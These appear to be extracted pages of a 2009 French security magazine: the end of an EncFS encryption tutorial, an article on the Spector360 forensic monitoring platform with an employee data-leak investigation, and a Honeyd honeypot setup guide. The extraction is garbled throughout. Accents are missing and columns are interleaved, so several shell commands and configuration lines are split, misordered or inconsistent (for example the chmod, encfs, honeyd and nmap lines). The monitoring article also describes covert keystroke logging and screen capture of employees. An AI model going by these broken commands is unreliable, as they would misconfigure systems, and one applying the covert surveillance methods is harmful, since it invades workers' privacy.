Ne perdez plus de temps avec les spams et les virus. Scurisez simplement vos emails professionnels. ALTOSPAM est un logiciel externalis de protection de la messagerie lectronique : anti-spam, anti-virus, anti-phishing, anti-scam... Testez gratuitement notre service, mis en place en quelques minutes. http://www.altospam.com OKTEY 5, rue du Pic du Midi 31150 GRATENTOUR

5/2009 HAKIN9

43

BACKUP
Attention
Ce script permet de rapidement lancer le dchiffrement du dossier crypt
nocrash:~# vi /usr/bin/encrypt #!/bin/bash fusermount -u /home/nocrash/data Veuillez choisir une taille de bloc en octets. L'algorithme que vous avez slectionn supporte des blocs de 64 4096 octets par paliers de 16 octets. Ou appuyez sur entre pour la valeur par dfaut (1024 octets). taille du bloc de systme de fichiers : 1024 Les algorithmes d'encodage de noms de fichiers suivants sont disponibles : Block : E 2. Null : No encryption of filenames 3. Stream : Encodage de flux, garder les noms de fichiers, aussi courts que possible. Entrez le numro correspondant votre choix : 1

Il vous est possible de valider lensemble des crans suivant avec les options par dfaut. Une fois lensemble des questions rpondues, le mot de passe ainsi quune confirmation de mot de passe vous sera demand. Ce mot de passe servira pour le chiffrement ainsi que le dchiffrement du dossier crypt. Afin de vrifier que nous avons ralis lensemble des tapes dans de bonnes conditions, il est possible de vrifier le montage dans le fichier prvu cet effet.
nocrash:~# cat /proc/mounts

nocrash:~# encfs /home/nocrash/

.protected/ /home/nocrash/data/

Ce script quand lui permet de rapidement fermer le point de montage et donc le dossier en clair repassant en crypt de cette manire. Il est bien videmment indispensable de configurer les droits daccs ces deux fichiers ainsi que leur donner la possibilit de sexcuter. Pour cela, nous allons utiliser les commandes suivantes :
nocrash:~# chown nocrash /usr/bin/ nocrash:~# chmod 700 /usr/bin/ encrypt /usr/bin/decrypt encrypt /usr/bin/decrypt

encfs /home/nocrash/data fuse.encfs rw,nosuid,nodev,user_id=1000, group_id=1000, default_ permissions 0 0

Utilisation

Comparativement la premire fois, cette fois ci, EncFS va dtecter quune initialisation a dj tait faite sur ces rpertoires et va donc se contenter de demander le mot de passe fournit plus tt afin de dverrouiller laccs notre rpertoire de travail . Lensemble des donnes cre / copie / dplace en clair dans le rpertoire de travail (/home/ nocrash/data/ dans notre cas) sera automatiquement stocke sous forme chiffr dans le rpertoire (/home/ nocrash/.protected/ ). Afin de vous dconnecter, c'est--dire ne plus avoir accs aux donnes en clair, il est ncessaire dutiliser simplement la commande suivante :
nocrash:~# fusermount -u /home/ nocrash/data

Il est donc prsent possible de lancer le chiffrement et le dchiffrement dun dossier simplement grce aux nouvelles commandes : ./encrypt et ./decrypt.
nocrash:~# ./encrypt

et
nocrash:~# ./decrypt

Conclusion

Une fois lensemble des installations faites ainsi que toutes les configurations effectues, il est possible dutiliser notre dossier crypt grce EncFS. A prsent, afin daccder nos donnes en clair, il va falloir rutiliser la commande que nous avions utilis prcdemment, savoir :

Automatisons tous cela

Attention

Vous devez entrer un mot de passe pour votre systme de fichiers. Vous devez vous en souvenir, car il n'existe aucun mcanisme de rcupration. Toutefois, le mot de passe peut tre chang plus tard l'aide d'encfsctl. Vrifier le mot de passe : nocrash:~#

Il existe de nombreuse manire dautomatiser le lancement ainsi que larrt dEncFS. Dans notre exemple, nous allons simplement utiliser la mthode simple se ralisant via la ligne de commande. Il est donc possible de crer deux commandes permettant douvrir ou de fermer rapidement laccs au(x) rpertoire(s) de travail.
nocrash:~# vi /usr/bin/decrypt #!/bin/bash encfs /home/home/.protected/ /home/home/data/

Voila, prsent, il est possible dtre serin avec lensemble de vos donnes confidentielles grce EncFS. Bien quil existe de nombreuses mthodes de chiffrement sous les systmes UNIX/ Linux, EncFS possde de nombreux avantages se dmarquant des ses concurrents . Comparativement TrueCrypt par exemple, il nest aucunement ncessaire de crer un fichier/rpertoire dune taille fixe. EncFS dispose donc de nombreuse fonctionnalits quil est possible de mettre en place aprs avoir fait le tour du logiciel.
Rgis SENET est actuellement tudiant en quatrime anne lcole Suprieur dinformatique Supinfo. Passionn par les tests dintrusion et les vulnrabilits Web, il tente de dcouvrir la scurit informatique dun point de vue entreprise. Il est actuellement en train de sorienter vers le cursus CEH, LPT et Offensive Security. Contact : regis.senet@supinfo.com Site internet : http://www.regis-senet.fr Page daccueil : http://www.arg0.net/encfs

44 HAKIN9 5/2009

5/2009 HAKIN9

45

PIOTR FAJPIOTR FAJ

PRATIQUE Fuite

Degr de difficult

d'informations dans une socit. Enqute lectronique


L'informatique lgale est un domaine relativement neuf sur le march. Les personnes qui connaissent ce terme ne sont pas compltement conscientes des possibilits qu'elle offre. Et la fuite d'informations importantes est actuellement la plus grande menace pour les affaires.

CET ARTICLE EXPLIQUE...


le problme des donnes internes qui fuient , la structure et les fonctionnalits du logiciel de la plate-forme de l'informatique lgale Spector360, comment trouver les traces de violation de la scurit d'information sur intranet.

CE QU'IL FAUT SAVOIR...


il faut connatre les notions des principes de la scurit d'informations, il faut connatre les notions du fonctionnement d'un rseau informatique dans une socit. 46 HAKIN9 5/2009

orsque nous voquons le terme fuite , nous pensons en gnral une attaque du rseau ou une menace populaire ce dernier temps, appel malware (logiciel malveillant). Nous oublions souvent que plus de 75 % d'informations qui ont t voles en 2007 dans les socits, l'ont t par des employs dloyaux. L'informatique lgale est charge de ce type des problmes et des solutions y ddies. Dans le contexte de la menace que reprsente un employ dans une socit, les mthodes traditionnelles relatives la protection du rseau et de ses ressources deviennent trs souvent insuffisantes. Tout le monde connat des cas des instituions parfaitement protges d'o ont t voles des informations cls d'une manire inconnue. Les cas de migration de donnes avec un employ licenci sont aussi typiques. Et changer le travail n'a rien d'trange de nos jours. Les nouveaux employeurs sont souvent intresss par les bases de donnes de clients ou les informations relatives aux plans marketing ou investissement. Ce n'est pas le seul problme qui peut toucher une socit cause des employs qui profitent des ressources de la socit des fins de divertissement ou pour leurs propres intrts. Le nombre de menaces en provenance du rseau Internet, qui pourrait influencer ngativement l'image d'une socit, est en constante augmentation tous les ans. Remarquons aussi que les traces de ces vnements ont une caractristique commune : personne ne sait qui l'a fait et comment.

D'aprs les recherches contenues notamment dans les rapports de Forrester, les informations voles quittent la socit dans la moiti de cas sur tout type d'appareils portables, tels que : cls USB; lecteurs MP3, cartes mmoire, appareils PDA et tlphones mobiles. Dans un moindre degr, les donnes quittent l'entreprise sur les ordinateurs portables ou les supports optiques CD/DVD. Internet est galement utilis avec succs dans ce but car il offre de nombreux services permettant d'envoyer les informations confidentielles des tierces personnes. Il s'agit le plus souvent : des messages lectroniques, des serveurs FTP, des disques virtuels et d'autres logiciels permettant d'envoyer des textes ou des fichiers. Les messageries instantanes constituent aussi un bon exemple ; elles occupent excessivement le temps de travail des employs et permettent un transfert rapide du savoir en dehors de la socit. Bien videmment, nous pouvons dire : dsactivons les cls USB, bloquons les messageries, filtrons les messages lectroniques. Est-il toutefois toujours possible ? Il est difficile de limiter les administrateurs et les graphistes responsables de nos sites Web et en fait, il est impossible de le faire par exemple, dans le cas de la sous-traitance de certains services lis nos serveurs. De plus, l'impossibilit d'utiliser certains programmes ou priphriques peut rendre le travail difficile et rduire la performance de l'employ. Les spcialistes de l'informatique lgale sont capables de cueillir des preuves des vnements

ENQUTE LECTRONIQUE
ncessite de cueillir des informations d'une manire scurise, discrte et sans surcharger la station ni le trafic rseau. La valeur de preuves exige que les informations soient enregistres uniquement en mode read-only, conformment au principe : je vois tout, je ne modifie rien . L'ensemble d'informations recueillies depuis la station de travail surveille doit tre limit des services individuels, par exemple, messages lectroniques, messageries ou bien fichiers envoys via le protocole FTP.

Spector360

Figure 1. Vue du rseau dans le monde lectronique et la plupart de problmes relatifs un partage non autoris d'informations se refltera srement dans le systme de l'auteur. Il sera ainsi possible de recueillir des preuves pour un procs juridique ventuel. L'informatique lgale propose aussi des solutions prventives afin d'viter les incidents de ce genre et si jamais ils ont lieu, elle propose des solutions capables de rpondre rapidement la question : comment cela est-il arriv ? galement un autre type de plateforme, bas sur l'analyse directe des comportements de l'utilisateur de la station, similaire un suivi visuel l'chelle de Enterprise. L'objectif de ces plates-formes consiste cueillir des informations sur les programmes excuts, le texte saisi, les messages lectroniques envoys, les documents traits et beaucoup d'autres oprations effectues par les employs sur les ordinateurs de travail. Les informations enregistres sur cette base permettent de faire des analyses pour dterminer l'endroit d'o fuient les informations. Grce cette dmarche, il est possible de cueillir des preuves d'un comportement dloyal mme des fins d'un procs et de rduire les pertes de l'entreprise. Rpondre aux besoins de l'informatique lgale dans le cadre de ces outils

Ide d'un monitoring

Dans un monde non virtuel, le monitoring n'a rien d'exceptionnel. Les camras sont partout, quasiment tout est sous surveillance. Le monde virtuel est galement touch par ce domaine. Nous suivons les processus, le trafic sur le rseau, l'accs aux documents. Mais ces analyses ne permettent pas de dtecter des abus lis par exemple l'utilisation de l'opration copier-coller sous Windows. Seules les observations au niveau de l'utilisateur permettraient de suivre un tel incident : c'est le seul endroit o on peut tout voir... Nous avons dj voqu les platesformes lgales du type NetWitness ou EnCase Enterprise dans le magazine Hakin9 ; elles sont charges d'analyser le trafic rseau et de cueillir les preuves au niveau des serveurs et des stations de travail. L'informatique lgale fournit

Spector360 constitue une sorte de solution modle qui rpond ces critres. Une architecture plusieurs lments est responsable de la scurit d'accs et charge de ne pas modifier les informations enregistres dans le sens de l'informatique lgale. La plateforme travaille dans la relation clientserveur. Le client n'est pas visible pour l'utilisateur qui travaille sur l'ordinateur surveill. L'utilisateur ne peut le dsactiver ni le dsinstaller. Les trois autres lments permettent d'intercepter, de trier et de stocker les donnes envoyes par les ordinateurs surveills. Data Vault SQL Server & Database est charg d'intercepter les informations envoyes depuis les ordinateurs surveills. Data Vault permet de dfinir les partages utiliss pour stocker de donnes telles que : captures d'cran, pices-jointes envoyes dans les messages lectroniques ou fichiers transfrs entre les partages et les services.

Figure 2. Application Control Center


5/2009 HAKIN9 47

PRATIQUE
L'entreprise suspectait qu'un des employs partageait les donnes avec la concurrence en imprimant les documents mais une enqute secrte dans le cadre des services help-desk n'a confirm aucune trace de telles oprations. Tous ces facteurs ncessitent d'utiliser une solution ddie. Les clients Spector360 ont t installs sur le groupe choisi d'ordinateurs portables lorsque les employs mobiles se connectaient au rseau de l'entreprise. De plus, les utilisateurs n'ont vu ni ressenti aucune opration lie l'installation. Un nouveau document, contenant des informations importantes, une sorte d'appt pour un employ dloyal, a t publi entre-temps dans le cadre de cette campagne. L'enqute peut tre effectue directement aprs l'envoi des donnes au service Data Vault. Ce processus s'appelle surveillance car un agent surveille les oprations de l'utilisateur pour intercepter des vnements intressants. La plateforme peut surveiller l'aide de son client et ensuite enregistrer les oprations des utilisateurs telle que : dure lie la connexion sur l'ordinateur et l'activit de l'employ, activit du logiciel lanc par l'utilisateur lors de la session, donnes sur les sites Web visits au moyen des navigateurs Internet et les informations y cherches, toute donne lie la gestion des messages lectroniques, indpendamment du fait si l'utilisateur utilise un programme de messagerie install sur l'ordinateur surveill ou une interface Web, activit de l'utilisateur sur le rseau : toutes les informations sur les connexions rseau effectues

Figure 3. Dashborad Control Center est charg de configurer, de grer et d'installer des agents qui travailleront pour nous sur les ordinateurs choisis. L'application permet de raliser toutes les oprations lies l'agent qui travaille sur l'ordinateur surveill. Dashboard est une console lgale permettant d'analyser les donnes recueillies en utilisant les options suivantes : Quick View, permet de parcourir rapidement les vnements recueillis relatifs l'utilisation du rseau informatique, des programmes, des documents ou autres oprations ralises sur les ordinateurs surveills. Data Explorer grce cette option, il est possible de parcourir les donnes stockes dans la base. User Explorer c'est un contrle permettant de faire une enqute, de vrifier qu'a fait exactement un utilisateur qui travaille sur l'ordinateur surveill. Reports permet de crer des rapports sur les oprations des utilisateurs, des programmes choisis qui fonctionnent sur les ordinateurs dfinis, les caractres saisis et autres vnements enregistrs par l'agent sur l'ordinateur surveill. Search c'est un contrle permettant de parcourir les donnes stockes dans SQL Server & Database du point de vue des vnements dfinis qui peuvent sembler suspects. Management permet de grer les lments qui font partie du programme
48 HAKIN9 5/2009

Spector360. La fonction permettant de grer le service Web Filter Server est l'une de plus importantes.

Enqute

L'une de plus grandes entreprises IT polonaises avait des problmes avec les fuites rgulires d'informations d'un des serveurs. Une enqute prliminaire a permis de dfinir un groupe suspect au sein des utilisateurs mobiles dont les ordinateurs ne fonctionnaient pas tous les jours dans le rseau informatique de l'entreprise. Pour utiliser les ressources de l'entreprise, les employs mobiles se connectaient via les portes VPN au rseau informatique. Ces ressources taient disponibles uniquement en mode lecture sans la possibilit de les copier. Afin de dterminer le mcanisme de la fuite, il tait ncessaire d'obtenir des informations relatives au traitement de ces documents sur les ordinateurs suspects (dtection du mcanisme de copie, des mthodes de transfert ou d'impression des documents).

Figure 4. Incident

ENQUTE LECTRONIQUE
caractres saisis sur le clavier, de captures d'cran, de fichiers et d'informations sur les vnements survenus lors du travail de l'utilisateur. Cette analyse peut tre effectue de plusieurs faons : en parcourant les informations recueillies selon les utilisateurs, les ordinateurs, les services ou autres critres. Une fois l'analyse effectue et un nombre suffisant de preuves recueilli, il faut prparer un rapport contenant toutes les informations relatives aux oprations effectues par l'utilisateur. Le rapport peut galement contenir des informations sous forme d'enregistrement de toutes les oprations faites par l'utilisateur, de captures d'cran correspondant aux oprations dfinies ou au contenu ou des fichiers qui font objet de l'incident. L'intervalle de temps entre l'vnement enregistr et la raction l'incident peut tre diffrent. Cet intervalle est li la manire dont les donnes arrivent la base de donnes. Dans le cas des ordinateurs portables, utiliss par les employs en dehors du sige de la socit, tous les vnements surveills par le client sont enregistrs et stocks sur le disque dur de l'ordinateur. L'employ ne peut pas

Figure 5. tape 1 lors de la session, au moyen des logiciels diffrents ou par le systme d'exploitation lui-mme, informations relatives au transfert des fichiers, FTP, tout type de formulaires Web, partages, toute information relative au traitement de documents : cration du document, modification de son contenu, suppression, modification du nom, copie sur les appareils portables ou partages, envoi des documents dans les messages lectroniques ou via autres services sur le rseau et impression des documents, interception des caractres saisis sur le clavier.

L'tape suivante consiste analyser les donnes recueillies sous forme de


PUBLICIT

5/2009 HAKIN9

49

PRATIQUE
une srie d'irrgularits. Le logiciel qui servait appeler dans le rseau Internet tait le plus suspect. Une messagerie instantane a t dtecte : elle n'tait pas installe sur l'ordinateur analys mais lanc au moyen d'un navigateur Internet. Un employ qui utilisait sa bote mail prive a t trouv alors que ce comportement tait contraire la politique de la scurit en vigueur. Cette tape a permis de rduire le nombre d'ordinateurs suspects en excluant les utilisateurs qui n'avaient pas de possibilit de transfrer les informations et de slectionner deux employs les plus suspects. Afin de ne pas trop rduire l'enqute, tous les autres ordinateurs ont t galement analyss. Cette tape comprenait des analyses plus dtailles relatives aux informations charges, envoyes ou traites l'aide du logiciel choisi, utilis sur les ordinateurs surveills. Les navigateurs Internet, les messageries instantanes et les logiciels de gestion des messages lectroniques ont t analyss. Voici les donnes analyses : Informations saisies par les utilisateurs sur le clavier. Donnes envoyes ou reues par le logiciel.

Figure 6. tape 2

accder ces ressources, les scanner ou les modifier. Une fois l'ordinateur connect au rseau o fonctionnent les services de la plate-forme Spector, les donnes seront automatiquement envoyes et peuvent tre analyses par les personnes autorises. Comme prvu, l'incident a eu lieu. Au bout de plusieurs jours du travail des utilisateurs sur les ordinateurs portables et leur connexion au rseau, une quantit suffisante des informations indispensables faire une analyse a t cueillie. En raison du mcanisme de la fuite inconnu et de la quantit d'information, l'analyse a t divise en plusieurs tapes. La premire tape consistait analyser le logiciel utilis dans le travail quotidien des

utilisateurs. Cette tape a permis de crer l'historique de l'activit des employs. Les informations suivantes ont pu tre recueillies : Les programmes lancs entre la publication du document et l'incident. Le temps consacr par les utilisateurs la gestion d'un programme donn. Le type de l'application du programme analys et pourquoi il a t utilis.

L'activit rseau gnr par le programme : les informations relatives aux connexions faites par le logiciel ont t trouves (dterminer o l'application se connecte et avec quel service). L'analyse a permis de dmontrer toute

la base de telles analyses se trouvent des mots cls (keywords), autrement dit, des mots uniques slectionns (par exemple, le mot Mediarecovery est un mot cl et le mot mais ne l'est pas). Un bon choix d'un mot cl est un garant pour trouver des informations intressantes et donc rejeter un grand nombre de donnes inutiles qui ncessiteraient beaucoup de temps. Dans notre cas, les mots cls utiliss provenaient de la campagne prpare. Ils ont t trouvs chez plusieurs utilisateurs principalement dans deux catgories : messages mail et keystore. En raison du travail de certaines personnes, cette prsence pourrait tre parfois justifie. Mais voici ce qui a t trouv aprs une analyse plus approfondie : Une discussion effectue avec le programme WebGG contenant un ou plusieurs mots cls.

Figure 7. tape 3
50 HAKIN9 5/2009

ENQUTE LECTRONIQUE

Sur le Net :
http://www.mediarecovery.pl http://www.forensictools.pl http://www.spectorsoft.com http://www.guidancesoftware.com

envoy un fichier avec l'extension xls via sa bote prive. Ce fichier contenait une capture d'cran du document en question. De plus, il tait protg par un mot de passe qui a t trouv grce la saisie du texte sur le clavier. Une fois le message envoy, l'employ le supprimait de la bote du dossier messages envoys .

Conclusion

Figure 8. Website http://www.mediarecovery.pl Messages lectroniques envoys par une bote prive ainsi que pices jointes et contenu des messages. Voici les oprations analyses : Cration, suppression, modification du nom du document. Modification du contenu, copie du contenu. Rotation des fichiers entre les appareils. Impression des documents.

Ces informations ont confirm les suppositions. Deux personnes suspectes se trouvaient l'tape suivante. La troisime tape consistait analyser toutes les informations relatives au traitement des documents par les employs sur les ordinateurs surveills.

Les informations recueillies ont permis de dmontrer qu'un des utilisateurs avait

Dans le monde o 90 % d'informations voyagent de manire lectronique, il est extrmement facile de transfrer des donnes l'extrieur, les donnes qui ne sont pas censes quitter l'entreprise. Utiliser de simples mcanismes, dans des conditions ordinaires, permet un employ malhonnte de se cacher compltement. Pour cette raison, il est si important de mettre en place des procdures et des solutions techniques appropries. L'exemple analys dans notre article utilisant la plate-forme de l'informatique lgale dmontre comment rpondre de tels cas de dloyaut. Un avantage dans le cas de ces solutions est le fait qu'il est possible de rutiliser les informations recueillies, par exemple pour former un nouvel employ, corriger ses erreurs ou bien amliorer la mthodologie des oprations effectues. Grce aux mcanismes implments, il est possible de garantir l'entreprise un contrle sur les performances dans le travail et de prvenir une violation ventuelle des principes de scurit d'informations. Ces mcanismes aident galement dfinir des alarmes permettant d'informer les personnes adquates charges de la scurit des vnements ou des oprations indsirables effectues par les utilisateurs. A propos de l'auteur

Figure 8. Website http://www.spectorsoft.com

Piotr Faj est spcialiste dans le laboratoire d'informatique lgale Mediarecovery. Adepte des questions de la scurit et des logiciels de la famille open source. Spcialiste de l'analyse aprs l'attaque. Il peut dfier Pentium Core 2 Duo au niveau de la performance de travail multi-tche. Contact : pfaj@mediarecovery.pl 5/2009 HAKIN9

51

RRGIS SENET

PRATIQUE Mise en place


dun pot de miel avec Honeyd
Un honeypot (en franais pot de miel) est un ordinateur ou un programme volontairement vulnrable mis en place afin dattirer et piger les pirates informatiques ou les logiciels malveillants.

Degr de difficult

Les pots de miels

Un honeypot (en franais pot de miel) est un ordinateur ou un programme volontairement vulnrable mis en place afin dattirer et piger les pirates informatiques ou les logiciels malveillants. Le but de ce subterfuge est donc de faire croire l'intrus, quil sagisse dune personne physique ou dun logiciel malveillant, qu'il peut prendre le contrle d'une vritable machine de production pour observer les moyens de compromission et ainsi donner la possibilit aux administrateurs rseau de lentreprise de se prmunir contre de nouvelles attaques et leur laisser ainsi un laps de temps supplmentaire afin de ragir avant que les vrais serveur de production soient touchs. Lutilisation dun honeypot va donc se baser sur trois problmatique diffrentes, savoir : la surveillance ; la collecte d'information ; l'analyse d'information.

voit rgulirement le jour lorsquil sagit danalyse doutils malveillants tels que des malware ou autre virus.

Quest ce quHoneyd

Honeyd est un projet libre et gratuit permettant la mise en place dun systme dhoneypot de manire simple et rapide sur un serveur de prproduction ou de production. Bien quhoneyd soit nettement plus jeune que certains de ces concurrents, honeyd su rattraper son retard en proposant un logiciel pouvant tre compil et tre lanc sur lensemble des systmes de type BSD (FreeBSD, OpenBSD et NetBSD) ainsi que les systmes de type GNU/Linux et Solaris.

Origine du projet

CET ARTICLE EXPLIQUE...


Lutilisation dhoneypot dans un environnement de production

CE QU'IL FAUT SAVOIR...


Connaissance en systme dexploitation UNIX/Linux 52 HAKIN9 5/2009

La surveillance va permettre danticiper des probables attaque venir du fait que les pirates informatique tentent, en rgle gnral, de rentrer sur lensemble des systmes de la mme manire. Pour ce qui est de la collecte dinformation ainsi que des analyses, cette tape

Aprs plusieurs annes de dveloppement, la premire version dhoneyd vu le jour en fin danne 2005 grce la contribution de Niels Provos qui nest autre que le dvelopper de lapplication. Actuellement sa version 1.5.c depuis le 27 mai 2007, honeyd a la chance d'tre sous licence GNU/GPL lui permettant une volution trs rapide. Cette rapide volution sexplique galement grce aux nombreux utilisateurs renvoyant rgulirement aux dveloppeurs de nouveaux bugs dans lapplication elle-mme.

HONEYD
Il est possible de mettre jour lensemble du systme via la commande suivante :
nocrash:~# apt-get update && apt-get upgrade

Le systme dexploitation est maintenant compltement jour, il est donc possible de mettre en place honeyd dans de bonnes conditions. Il est possible de ne pas passer par cette tape mais elle est fortement conseille pour la scurit ainsi que la stabilit de votre systme dexploitation.

Pr requis

Au cours de lensemble de cet article, les interfaces rseau qui utilises furent les suivantes :
- lo : 127.0.0.1

- eth0

: 192.168.1.147

Figure 1. Honeyd fut conu uniquement sur le temps libre de son diteur principal sans avoir dapport financier alors qu lheure actuelle, il existe de nombreuse entreprises lutilisant des fins commerciales en particulier pour tout ce qui est en rapport avec lanalyse doutils malveillants tels que les malwares/virus. composant votre systme que ce soit Apache ou quoi que ce soit dautre. Certaines de ces failles peuvent tre critiques dun point de vue scurit pour lentreprise. Afin de combler ce risque potentiel, il est ncessaire de rgulirement mettre jour lensemble du systme grce diverspatches de scurit.

Il est ncessaire suivant les configurations sur lesquelles vous travailler dadapter ces interfaces si besoin.

Installation dHoneyd

Linstallation dHoneyd ne demande aucune installation pralable, il est donc possible de directement passer la phase dinstallation via le gestionnaire de paquet Debian.
nocrash:~# apt-get install honeyd

Installation et configuration dHoneyd

Au cours de cet article, la distribution utilise fut une Debian 5.0 (Lenny) entirement mise jour. Attention, il est possible que certaines commandes ne soient pas tout fait identiques sur une autre distribution. Lensemble des installations va se raliser grce au gestionnaire de paquets propre un systme Debian : APT (Advanced Package Tool).

Mise jour du systme

Il est possible tous moment quune faille de scurit soit dcouverte dans lun des modules

Figure 2.
5/2009 HAKIN9 53

PRATIQUE
Rseau existant 192.168.1.0/24 Rseau virtuel 10.0.0.0/8

Avant de modifier les configurations, il est ncessaire de permettre lutilisateur honeyd de pouvoir lire et crire dans les fichiers de configuration (Figure 1) :
nocrash:~# chown -R honeyd:honeyd

IP : 192.168.1.147 Masque : 255.255.255.0

IP : 127.0.0.1 Masque : 255.255.255.0

/etc/honeypot/

Figure 3. Linstallation dHoneyd va galement installer les dpendances suivantes :


- libpcap0.8 - rrdtool - librrd4 - farpd

mme nom. Cela permet de lancer le pot de miel avec des droits limits et non pas en tant que superadministrateur (root) qui pourrait tre dangereux :
nocrash:~# grep honeyd /etc/passwd /etc/group /etc/passwd :honeyd :x:108:116: Honeyd daemon,,,:/var/log/ honeypot:/bin/false

Il est alors possible de voir que les modifications de propritaire et de groupe furent ralises avec succs. Nous allons reprendre le fichier de configuration initial (/etc/honeypot/ honeyd.conf) afin de pouvoir partir dune base existante et expliquer les tapes ncessaire la cration de service virtuel. Les lignes suivantes permettent de dclarer le rseau virtuel que nous allons utiliser au cours de larticle :
route entry 10.0.0.1

- libdumbnetl - honeyd-common

route 10.0.0.1 link 10.2.0.0/24

La libpcap est une bibliothque de fonctions servant d'interface la capture de paquets et est indpendante du systme. RRDtool est un outil de gestion de base de donnes RRD permettant la sauvegarde haute performance et le trac de graphiques, de donnes chronologiques. libdumbnet est une bibliothque rseau, portative qui fournit une interface simplifie pour plusieurs routines rseau. farpd est un dmon ARP rpondant n'importe quelle demande d'ARP d'un ensemble d'adresses IP. Les principaux fichiers installs sont :
/etc/init.d/honeyd

/etc/group :honeyd:x:116:

route 10.0.0.1 add net 10.3.0.0/16 10.3.0.1 latency 8ms bandwidth 10Mbps

Configuration dHoneyd

route 10.3.0.1 link 10.3.0.0/24

Une fois linstallation termine, il est possible de passer la phase de configuration. La configuration d Honeyd va se raliser grce au fichier de configuration /etc/honeypot/ honeyd.conf. Ce fichier va permettre de dcrire lensemble des services virtuels. Listing 1.

route 10.3.0.1 add net 10.3.1.0/24 route 10.3.1.1 link 10.3.1.0/24 10.3.1.1 latency 7ms loss 0.5

Afin de faire fonctionner le rseau virtuel prcdemment cr, il est ncessaire de dclarer une route dans la table de routage pour l'atteindre. La passerelle utilise pour cette route sera l'interface

- /etc/logrotate.d/honeyd - /etc/default/honeyd - /usr/lib/honeyd - /usr/share/honeyd

- /usr/share/doc/honeyd - /usr/include/honeyd - /usr/bin/honeyd

A noter galement que lors de son installation, Honeyd cr un utilisateur honeyd ainsi quun groupe portant le
54 HAKIN9 5/2009

HONEYD
loopback afin de ne pas perturber le rseau existant. (Figure 2) :
nocrash:~# route add -net 10.0.0.0 netmask 255.0.0.0 gw localhost personality <Description> personality <Description>

set <Type de machine>

Voici donc quoi va ressembler notre rseau

permet de renseigner la signature du service mul. Dans notre exemple, nous allons muler un systme dexploitation Microsoft XP SP1.
bind <Adresse IP> <Type de machine>

Simulation de service

Nous allons maintenant rentrer dans le vif du sujet avec la simulation de service, qui, soit dit en passant est le but initial dHoneyd.
# Cration d'un profil template create template set template personality "Microsoft Windows XP Professional SP1"

permet de dfinir une adresse IP notre honeypot. Jusqu la, nous avons crer des services, nous leur avons donne des descriptions ainsi quune description, mais est-ce que cela suffit pour leurrer les possibles attaquant de votre systme ?

La rponse est NON

# For a complex IIS server add template tcp port 21 ftp.sh " "/usr/share/honeyd/scripts/

add template tcp port 22

"/usr/share/honeyd/scripts/ test.sh $ipsrc $dport"

add template tcp port 23 proxy $ipsrc:23add template udp port 53 proxy 141.211.92.141:53 /usr/share/honeyd/scripts/ win32/web.sh"

En effet, il est prsent ncessaire de simuler le fonctionnement du service que nous voulons faire passer comme existant. Les services peuvent tre de plusieurs types. Le fichier de configuration prcdemment dit montre la mise en place de plusieurs services : Un serveur web, un serveur SSH ainsi quun service Telnet.
add template tcp port 21 ftp.sh "

Afin de leurrer lattaquant, HoneyD mule le service en question grce des scripts. Dans notre cas du serveur FTP, le script en question se trouve sur le systme dexploitation ladresse suivante : /usr/share/honeyd/scripts/ ftp.sh. Voici une partie du code du fichier /usr/share/honeyd/scripts/ftp.sh. Il est possible de voir que ce dernier gre une fausse authentification dun serveur FTP ne renvoyant que des lignes de texte et aucune au serveur en luimme ne pouvant ainsi donc pas tre dangereux. Lattaquant potentiel pensera donc stre connect avec succs au serveur FTP. Il est possible de trouver de nombreux scripts permettant dmuler de nombreux services sur le site officiel ladresse suivante : http://www.honeyd.org/ contrib.php Lorsque vous tlchargez de nouveaux scripts, il est important de ne pas oublier ne leur donner les droits dexcution.
nocrash:~# chmod 755 /usr/share/ honeyd/scripts/ftp.sh

add template tcp port 80 "sh

"/usr/share/honeyd/scripts/

Les autres lignes permettent de donner encore plus de faux dtails lattaquant potentiel (Figure 3)
# Dfinit luptime de la machine set template uptime 1728650 set template maxfds 35 # Dfinit la description des fichiers

set template default tcp action # More parameters reset

add template tcp port 22 test.sh

"/usr/share/honeyd/scripts/ $ipsrc $dport"

set template uptime 1728650 set template maxfds 35 bind 10.3.1.12 template

add template tcp port 23 proxy $ipsrc:23add template udp port 53 proxy 141.211.92.141:53 share/honeyd/scripts/win32/ web.sh"

Dcomposons un peu ces lignes. La directive Create va servir spcifier le type de machine que nous voulons muler. Dans notre cas, il sagit dun template quil sera possible de rutiliser plus tard. Ensuite, il est possible et mme ncessaire dassigner une identit notre service virtuel. Pour cela, nous allons utiliser les directives :
set <Type de machine>

add template tcp port 80 "sh /usr/

Afin de pouvoir grer les logs du systme dHoneyPot, il est ncessaire de crer le rpertoire et dy ajouter les droits.
nocrash:~# mkdir /var/log/honeyd /var/log/honeyd

set <Adresse IP Honeypot

personality <Description>

Nous allons simplement analyser la premire ligne du fait que les autres ont le mme fonctionnement mais pour un service distinct. Il est possible de voir que la premire ligne va muler un service de type serveur FTP (Port 21), la deuxime va muler un serveur SSH (Port 22), la troisime quand elle va muler un service Telnet (Port 23) ainsi quun serveur web (Port 80).

nocrash:~# chown -R honeyd:honeyd

Afin de fonctionner correctement, Honeyd a besoin dutiliser loutil Arpd install prcdemment. Honeyd permet dassocier ses machines virtuelles des adresses IP qui ne sont pas attribues dans le rseau. Arpd va rpondre aux requtes ARP en renvoyant ladresse MAC de la machine
5/2009 HAKIN9 55

PRATIQUE
hbergeant Honeyd. Une fois ladresse MAC renvoye, la communication entre Honeyd et lautre machine pourra dmarrer.
nocrash:~# farpd 192.168.1.0/24 arpd[3014]: listening on eth0: and not ether

nmap.prints (option -p) et en utilisant linterface lo avec ladresse IP 10.0.0.0/8 (option -i) :
nocrash:~# honeyd

Dans le fichier de configuration, nous avons la ligne suivante :


bind 10.3.1.12 template

-p /etc/honeypot/nmap.prints

arp and (dst net 192.168.1.0/24) src 00:22:15:cb:aa:5e

-f /etc/honeypot/honeyd.conf -i lo 10.0.0.0/8 Niels Provos -d

-l /var/log/honeypot/honeypot.log

Honeyd V1.5c Copyright (c) 2002-2007 honeyd[3544]: started with -p / log/honeypot/honeypot.log -f -d 10.0.0.0/8

Nos faux services vont donc rpondre ladresse 10.3.1.12. Pour pouvoir vrifier le bon fonctionnement dHoneyd, nous allons lancer un nmap sur ladresse 10.3.1.12 :
nocrash:~# nmap 10.3.0.12 Starting Nmap 4.62 (http://nmap.org )

Dans le cas ou vous avez plusieurs interface rseau, il est possible de spcifier celle que vous voulez utiliser.
nocrash:~# farpd -i eth0 192.168.1.0/24

etc/honeypot/nmap.prints -l /var/ /etc/honeypot/honeyd.conf -i lo

honeyd[3544]: listening on lo: ip and (dst net 10.0.0.0/8) honeyd[3544]: Demoting process

